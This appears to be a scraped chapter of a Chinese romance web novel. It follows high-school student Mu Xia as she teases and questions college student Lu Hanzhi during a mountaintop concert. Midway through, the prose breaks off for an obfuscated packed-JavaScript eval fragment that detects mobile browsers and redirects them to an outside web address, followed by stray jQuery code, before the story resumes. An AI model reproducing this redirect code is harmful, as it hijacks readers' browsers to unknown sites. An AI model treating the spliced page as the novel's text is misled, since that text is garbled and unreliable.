景区位置位于山顶,为了方便游客直达景区,景区在市区繁华地段几个定点地方安排了摆渡公交,人满便发车。
上山之路道路崎岖弯弯绕绕,慕夏被摇得头晕,躺在座椅里闭目养神,脑子里却一直在不停地活跃,反复想着刚才偷听被抓包的事。
现在冷静下来了,尴尬渐渐褪去,反而又觉得有点遗憾。
由于当时太过紧张,她都没好好感受抱他是什么感觉。
虽然方式很离谱,但好歹也是第一次拥抱。
她只依稀有点印象,当时埋头在他胸前的时候,他的体温暖和,衣服上清淡的洗衣液味道有些好闻。
只怪当时心里太慌乱了,他一开口,她便像受惊的兔子一下,撒手就推开他转身出了门,后面回到包房,全程都没敢再多看他一眼。
唉!千算万算,万万没算到第一次拥抱会以这样一种方式,不知道该笑还是该哭。
由于太过忘我,这声气直接叹出了声。
耳边有人问她:“怎么了?”
慕夏猛地睁开眼睛,跟慕承斌面面相觑。
慕承斌猜测:“晕车吗?”
慕夏迟钝地啊了声:“有一点。”
慕承斌安慰:“再坚持一会儿,已经走了半个小时,快到了。”
慕夏揉了揉发酸的脖子,往窗外瞧了瞧,沿途都是山林,偶尔有农庄。
车子在盘山公路上又绕了十来分钟,终于到达了目的地。
下了车,一股大自然的凉爽扑面而来,吹得人神清气爽。
山顶气温要比城区低五度左右,山区风大,体感温度会更低。
大暑天里,这里是个避暑的好地方,不少人在这里搭帐篷露营等明早看朝阳,今晚董宜剑他们也将在这里留宿一夜。
男孩子租了三个帐篷,给慕夏这个女孩子,单独订了个酒店房间。
距离露天演唱会开始还有二十分钟,大家按门票上的座位号对号入座,慕夏这才发现,她左边是三哥,右边居然是陆寒之。
每张座椅上,发了一瓶矿泉水和一把小折扇。
也许是刚才偷听人家讲电话被现场抓包心虚了,慕夏见陆寒之过来,立刻殷勤地把座位上的东西拿了起来,等他坐下以后,再放到他手里,对他讨好般地弯眼一笑。
舞台上的开场音乐声吵闹,彩色的射灯扫来晃去。
陆寒之被她突然的热情弄得有点措手不及,一脸疑惑和茫然。
他嘴角动了动,似乎想说点什么或者用个合适的表情给予回复,结果斟酌了数秒也没给出反应,最后拧开水瓶喝了一口水,躲开了她直愣愣盯着自己笑的眼神。
慕夏的确是心虚,但也有一些同情和内疚的成分在里面。
毕竟不久前,他才受了学校的处分,想必他心里一定不好受。
又想到今天那通电话,甚至还生出了几分弱弱的心疼。
她像个侦探一样,来的路上已经分析刚才那通电话。
如果电话那边是前女友,或者是前女友的传话者,可陆寒之现在还是一个大三的学生。
通话时还用了当初这种过去式的词汇,前女友很可能不是最近谈的,也不是校友。
以此推算,他应该是高中的时候就开始跟人家谈恋爱了。
根据部分通话内容,似乎还是是别人先甩了他,这就有点矛盾了。
能考上二伯他们学校,高中必定是学校里的佼佼者,毕竟大学分数线门槛在这。
学习成绩好,又长得帅却还惨遭抛弃。
难道是人家女生嫌弃他穷,家庭不好?
学业感情双向受挫,现在这个阶段,应该是他人生的低谷期。
所以她决定要暂时放下其它的恩怨,之前礼物的事情跟这比起来简直不值一提,作为朋友,得先帮助他尽快振作起来。
而陆寒之也果然如她所料,整场演唱会,他就安安静静地坐在那里看着舞台,没有任何情绪起伏,大概是没有心情。
慕夏也有些无心看演唱会,主要是今晚请的明星虽然是有些名气,但并不是当下顶流,对于他们这个年纪的人来说有点过时了,或许更适合成年人。
陆寒之坐累了,稍稍调整了一下坐姿。
只怪他这人腿长,地方受限,稍稍移动,就不小心撞到了旁边女生的腿。
慕夏一惊,她今天穿的一条齐膝的连衣裙,小腿裸露在外。
因为天气热,陆寒之也是简单清爽的白T短裤。
两人的小腿毫无防备地碰到了一起,女孩儿肌肤细腻光滑微微发凉,男生小腿肌肉紧实硬朗却恰好相反有些发烫。
这一碰撞,双方都有明显的触感。
慕夏只觉得他肌肤烫的厉害,吓得她背脊都挺直了。
陆寒之看一眼她的侧脸,立刻移开了自己的大长腿,低低说了一声:“抱歉。”
慕夏匆匆跟他对视一眼,下意识伸手摸了摸跟他碰撞到的那块小腿肌肤。
如果不是因为天色黑暗,她想,她的脸这会儿应该有点儿红。
自我平静了两分钟,为了缓解气氛,慕夏稍稍偏头问了他一句话。
歌声太吵,陆寒之没有听清,只好侧了侧身子,凑近了一些问她:“什么?”
舞台上正在劲歌热舞,慕夏索性凑到他耳边,抬手捂在他耳边,又重复了一遍:“有没有蚊子咬你?我带了风油精!”
女孩儿说话时吐出的气息喷在耳边,有温热的触感,让人觉得耳郭发痒。
陆寒之身体僵了一僵,听完后立刻稍微拉开了和她的距离,才说:“还好。”
慕夏看着他这避嫌似的后退动作,当即表情一拉。
陆寒之余光里瞥见她一直保持着凑过来讲话的姿势,扭头一看,只见慕夏露出一副很受伤的表情,正若有所思的盯着他在看。
他脑子稍微一转,就意识到她可能是产生了误会。
他还真不是故意的,而是刚才他俩凑太近,让别人看见了可能有些不妥,特别是她的哥哥还在一旁。
但又不知道该怎么开口解释,干脆明知故问:“怎么了?”
慕夏是个直肠子,向来有话就要说,绝对不能憋在心里为难自己。
既然他问了,那她就干脆开门见山地问:“你是因为讨厌我,还是因为刚才我偷听了你打电话在生我气?”
“..........”
陆寒之没有料到她如此直白,问得他都哑然了半响。
慕夏见他不说话,想必是自己猜对了,当即解释道:“我是听我三哥说你前段时间出了点事儿,今天见你一直闷闷不乐,出于关心才偷听了两句。如果你觉得被冒犯了,我可以道歉,也可以跟你保证,绝对不会和别人乱说。”
陆寒之听她语气十分委屈,怎么反而有种是他欺负了人的感觉。
他抬起一只手,摁了摁眉心,放缓了语气说:“这么点事儿,不至于。”
结果慕夏眉头皱的更深了。
陆寒之静了一瞬,反倒安慰起了她:“你别多想,我没生气。”
慕夏立即追问:“那就是因为讨厌我?”
陆寒之不知道这又是从而说起,都快有点要招架不住了。
他顿了一下,又是一句不答反问:“我为什么要讨厌你?”
慕夏也不绕弯子:“过年那次我找你要礼物,你是不是觉得我很没礼貌?”
那倒没有。
他顶多觉得这她性格十分外向开朗,想什么便毫无避讳的表达。
“没。”他说。
慕夏颇有打破砂锅问到底的气势:“那你为什么没有给我新年礼物?”
陆寒之并没有想过要解释,他当时只觉得这个礼物对于她来说可能并不重要,抑或是当时开的一个玩笑。
后来董宜剑带回来她给他的礼物,他有想过给她回礼,但后来太忙又没有合适的机会,所以只好欠着了。
今天她既然问到这上面了,他也就简单做个解释:“董宜剑给你礼物那是正常人情往来,”
说到这里,他特意顿了一顿,神色有些意味不明地看着她:“我没来由的给你送礼,你觉得别人会怎么想?”
董宜剑是以结拜哥哥的名义。
而他作为朋友的朋友,只不过屈指可数的几次交集,要是特意单独给她准备新年礼物,别人肯定会奇怪。
就像学校那些总是喜欢送她小礼物的男同学,不会无端对她讨好,大家都知道那是因为他们想和她关系更近一步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380725|200161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慕夏只需要稍微琢磨一下,其实就能明白过来。
无论是董宜剑,还是三哥亦或是其他认识他俩的人,只要他们其中一个人觉得陆寒之对她有什么别有居心的行为,今后他们可能就没办法像现在一样,如同朋友一样的自然来往了。
毕竟她现在还是一个高中生,而他又是她二伯最器重的学生,两人眼下的身份让人有种道不清说不明的禁忌感。
她看着灯光下他冷静又清俊的脸庞,心里有一点高兴又有一点失落。
她迫不及待的想要追求一个答案,思虑了半刻,正要继续追问她,旁边的慕承斌忽然撞了下她的胳膊,没太多想地问:“你两说什么悄悄话呢?”
“........”慕夏做贼心虚似的,张口否认:“哪有说什么悄悄话,我就问一下上次送你们的钢笔他觉得好不好写。”
慕承斌没心没肺的笑笑:“哦哦,那你们继续讨论。”
慕夏应变能力倒是极快,为了把戏做足,真的又回头问起陆寒之:“小陆哥,钢笔你有写吗?”
陆寒之实话实说:“还没。”
经典款的派克钢笔,少说也是几千块。
东西是好东西,但是对于他们来说,平时在学校用有点不方便,更适合当个收藏品。
慕夏思维跳跃的快,有些得意地翘了翘嘴角,还有点迫不及待的想对他多展示一点自己的优点以此赢得他的好感:“我的钢笔字可是在省里得过奖的。”
陆寒之有些意外地挑了下眉,看向她。
慕夏笑得大方又自信,语气轻快:“从小爷爷就送我去兴趣班学习钢笔字和毛笔字,他说字如其人,字写的端正人也就长得端正。”
陆寒之听了这话,极淡地笑了下。
慕夏又问他:“你平时用不用钢笔,写字好不好看?”
陆寒之回答的谦虚:“一般。”
慕夏倒是挺会圆话:“你以前肯定一天到晚忙着学习没有时间练字吧,哎对了,小陆哥,你学习成绩这么好,以前是不是都是当班干部啊?”
陆寒之答:“偶尔吧。”
慕夏:“那你当过最大的班干部是什么?”
陆寒之:“班长。”
“我想也是。”慕夏笑了起来,小嘴巴巴的好像有源源不断的问题:“像你这样长得好看,成绩又好,还是班干部,高中在学校应该很受女同学的欢迎吧?”
陆寒之再次转眸看向她,没有接话。
慕夏笑得有些玩味,又故意放低了语气道:“我可不可以再问你一个比较私密点的问题?”
陆寒之看着她笑得狡黠的眼睛,故作认真:“多私密?”
慕夏咧嘴,露出一排洁白的牙齿,又朝他靠近了一点点,低声:“就你这得天独厚的条件,高中有没有早恋过?”
陆寒之听完,直接哼笑出一声。
“笑什么?”慕夏盯着他俊逸非凡的侧脸,顿了顿,不明所以地问:“有还是没有啊?”
陆寒之重新望向舞台,闲散地靠进椅背里,嘴角勾着一抹慵懒的痞笑,故作神秘道:“这怎么能够告诉你?”
慕夏表情一愣,假装疑惑的样子:“为什么不能告诉我?”
陆寒之倒是不厌其烦的回答她:“你都说是私密问题了,当然不能随便说。”
可是慕夏得不到答案不甘心,耍赖似地:“我就是非常好奇,告诉我又不会怎么样。”
陆寒之坐直了身子,故意不再理她。
慕夏拿眼睛瞪他,陆寒之只当没瞧见,专心去看舞台表演。
她盯着他一副不为所动的侧脸,没了办法,却也只能咬牙忍着。
但想了想还是不甘心,又朝他凑近了些,想凑到他耳边放狠话威胁他回答自己的问题,没料到陆寒之在这时突然转过头来似乎也要跟她说话。
就这样,猝不及防的,两人的脸突然被拉近,近到两人的鼻尖只相隔一个拳头的距离。
慕夏甚至能闻到他呼吸里有口香糖薄荷的香味。
陆寒之显然也没料到,怔怔地盯着她,女孩儿的眼睛又黑又亮,带着一丝惊慌。
慕夏只觉得心口一撞,僵硬了两秒后,立刻坐正了身体,顾忌着前后左右都是熟人,望向舞台后再也没敢吭声了。